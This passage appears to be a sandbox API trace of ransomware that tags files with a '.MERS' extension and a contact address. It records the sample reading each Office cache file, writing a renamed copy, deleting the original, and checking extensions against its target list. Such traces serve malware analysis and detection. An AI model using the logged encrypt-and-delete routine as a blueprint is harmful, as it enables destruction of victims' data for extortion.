users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0035.262] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.262] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.262] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0035.263] GetLastError () returned 0x0 [0035.263] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x333, lpOverlapped=0x0) returned 1 [0035.356] WriteFile (in: hFile=0x208, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.357] ReadFile (in: hFile=0x204, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.357] WriteFile (in: hFile=0x208, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.357] SetEndOfFile (hFile=0x208) returned 1 [0035.357] CloseHandle (hObject=0x208) returned 1 [0035.358] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.358] SetEndOfFile (hFile=0x204) returned 1 [0035.359] CloseHandle (hObject=0x204) returned 1 [0035.359] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.359] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0035.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.640] lstrlenW (lpString=".doc") returned 4 [0035.640] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.640] lstrlenW (lpString=".docx") returned 5 [0035.640] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.640] lstrlenW (lpString=".pdf") returned 4 [0035.640] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.640] lstrlenW (lpString=".xls") returned 4 [0035.640] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.640] lstrlenW (lpString=".xlsx") returned 5 [0035.640] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.640] lstrlenW (lpString=".ppt") returned 4 [0035.640] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.640] lstrlenW (lpString=".zip") returned 4 [0035.640] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.640] lstrlenW (lpString=".rar") returned 4 [0035.640] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.640] lstrlenW (lpString=".bz2") returned 4 [0035.640] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.640] lstrlenW (lpString=".7z") returned 3 [0035.640] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.640] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.662] lstrlenW (lpString=".dbf") returned 4 [0035.662] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.662] lstrlenW (lpString=".1cd") returned 4 [0035.662] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.662] lstrlenW (lpString=".jpg") returned 4 [0035.662] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.662] lstrlenW (lpString=".doc") returned 4 [0035.662] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString=".docx") returned 5 [0035.662] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.662] lstrlenW (lpString=".pdf") returned 4 [0035.662] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString=".xls") returned 4 [0035.662] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString=".xlsx") returned 5 [0035.662] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.662] lstrlenW (lpString=".ppt") returned 4 [0035.662] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.662] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.663] lstrlenW (lpString=".zip") returned 4 [0035.663] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.663] lstrlenW (lpString=".rar") returned 4 [0035.663] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.663] lstrlenW (lpString=".bz2") returned 4 [0035.663] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.663] lstrlenW (lpString=".7z") returned 3 [0035.663] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.663] lstrlenW (lpString=".dbf") returned 4 [0035.663] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.663] lstrlenW (lpString=".1cd") returned 4 [0035.663] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.663] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0035.663] lstrlenW (lpString=".jpg") returned 4 [0035.663] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.663] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.663] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0035.663] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.663] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=819) returned 1 [0035.664] CloseHandle (hObject=0x1ec) returned 1 [0035.664] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0035.664] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.664] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.664] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.664] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.664] GetLastError () returned 0x0 [0035.664] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x333, lpOverlapped=0x0) returned 1 [0035.693] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x340, lpOverlapped=0x0) returned 1 [0035.694] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.694] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.694] SetEndOfFile (hFile=0x1d8) returned 1 [0035.694] CloseHandle (hObject=0x1d8) returned 1 [0035.695] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.695] SetEndOfFile (hFile=0x1ec) returned 1 [0035.695] CloseHandle (hObject=0x1ec) returned 1 [0035.696] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.696] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0035.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.696] lstrlenW (lpString=".doc") returned 4 [0035.696] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.696] lstrlenW (lpString=".docx") returned 5 [0035.696] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.696] lstrlenW (lpString=".pdf") returned 4 [0035.696] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.696] lstrlenW (lpString=".xls") returned 4 [0035.696] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.696] lstrlenW (lpString=".xlsx") returned 5 [0035.696] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.696] lstrlenW (lpString=".ppt") returned 4 [0035.696] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.696] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.696] lstrlenW (lpString=".zip") returned 4 [0035.696] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.696] lstrlenW (lpString=".rar") returned 4 [0035.696] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.696] lstrlenW (lpString=".bz2") returned 4 [0035.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString=".7z") returned 3 [0035.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString=".dbf") returned 4 [0035.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString=".1cd") returned 4 [0035.697] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString=".jpg") returned 4 [0035.697] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString=".doc") returned 4 [0035.697] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString=".docx") returned 5 [0035.697] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0035.697] lstrlenW (lpString=".pdf") returned 4 [0035.697] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString=".xls") returned 4 [0035.697] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString=".xlsx") returned 5 [0035.697] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0035.697] lstrlenW (lpString=".ppt") returned 4 [0035.697] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString=".zip") returned 4 [0035.697] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.697] lstrlenW (lpString=".rar") returned 4 [0035.697] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString=".bz2") returned 4 [0035.697] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.697] lstrlenW (lpString=".7z") returned 3 [0035.697] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.697] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.697] lstrlenW (lpString=".dbf") returned 4 [0035.697] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.698] lstrlenW (lpString=".1cd") returned 4 [0035.698] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.698] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0035.698] lstrlenW (lpString=".jpg") returned 4 [0035.698] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.698] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.698] lstrlenW (lpString="Setup.xml") returned 9 [0035.698] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.698] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2624) returned 1 [0035.698] CloseHandle (hObject=0x1ec) returned 1 [0035.698] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.698] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0035.698] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.698] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.698] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.699] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0035.699] GetLastError () returned 0x0 [0035.699] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0xa40, lpOverlapped=0x0) returned 1 [0035.735] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0035.735] ReadFile (in: hFile=0x1ec, lpBuffer=0x3940020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.735] WriteFile (in: hFile=0x1d8, lpBuffer=0x3940020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3940020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.736] SetEndOfFile (hFile=0x1d8) returned 1 [0035.736] CloseHandle (hObject=0x1d8) returned 1 [0035.736] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.736] SetEndOfFile (hFile=0x1ec) returned 1 [0035.737] CloseHandle (hObject=0x1ec) returned 1 [0035.737] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0035.737] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString=".doc") returned 4 [0035.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString=".docx") returned 5 [0035.738] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.738] lstrlenW (lpString=".pdf") returned 4 [0035.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString=".xls") returned 4 [0035.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString=".xlsx") returned 5 [0035.738] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.738] lstrlenW (lpString=".ppt") returned 4 [0035.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString=".zip") returned 4 [0035.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.738] lstrlenW (lpString=".rar") returned 4 [0035.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString=".bz2") returned 4 [0035.738] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString=".7z") returned 3 [0035.738] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString=".dbf") returned 4 [0035.738] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString=".1cd") returned 4 [0035.738] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString=".jpg") returned 4 [0035.738] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.738] lstrlenW (lpString=".doc") returned 4 [0035.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString=".docx") returned 5 [0035.739] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.739] lstrlenW (lpString=".pdf") returned 4 [0035.739] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString=".xls") returned 4 [0035.739] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString=".xlsx") returned 5 [0035.739] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.739] lstrlenW (lpString=".ppt") returned 4 [0035.739] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.739] lstrlenW (lpString=".zip") returned 4 [0035.739] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.739] lstrlenW (lpString=".rar") returned 4 [0035.739] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString=".bz2") returned 4 [0035.739] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString=".7z") returned 3 [0035.739] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.739] lstrlenW (lpString=".dbf") returned 4 [0035.739] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.739] lstrlenW (lpString=".1cd") returned 4 [0035.739] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.739] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.739] lstrlenW (lpString=".jpg") returned 4 [0035.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.739] lstrcmpiW (lpString1=".xml", lpString2=".MERS") returned 1 [0035.739] lstrlenW (lpString="Office32WW.xml") returned 14 [0035.740] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0035.741] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4274) returned 1 [0035.741] CloseHandle (hObject=0x1ec) returned 1 [0035.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0035.741] GetFileAttributesW (lpFileName="C:\\MSOCache\\All 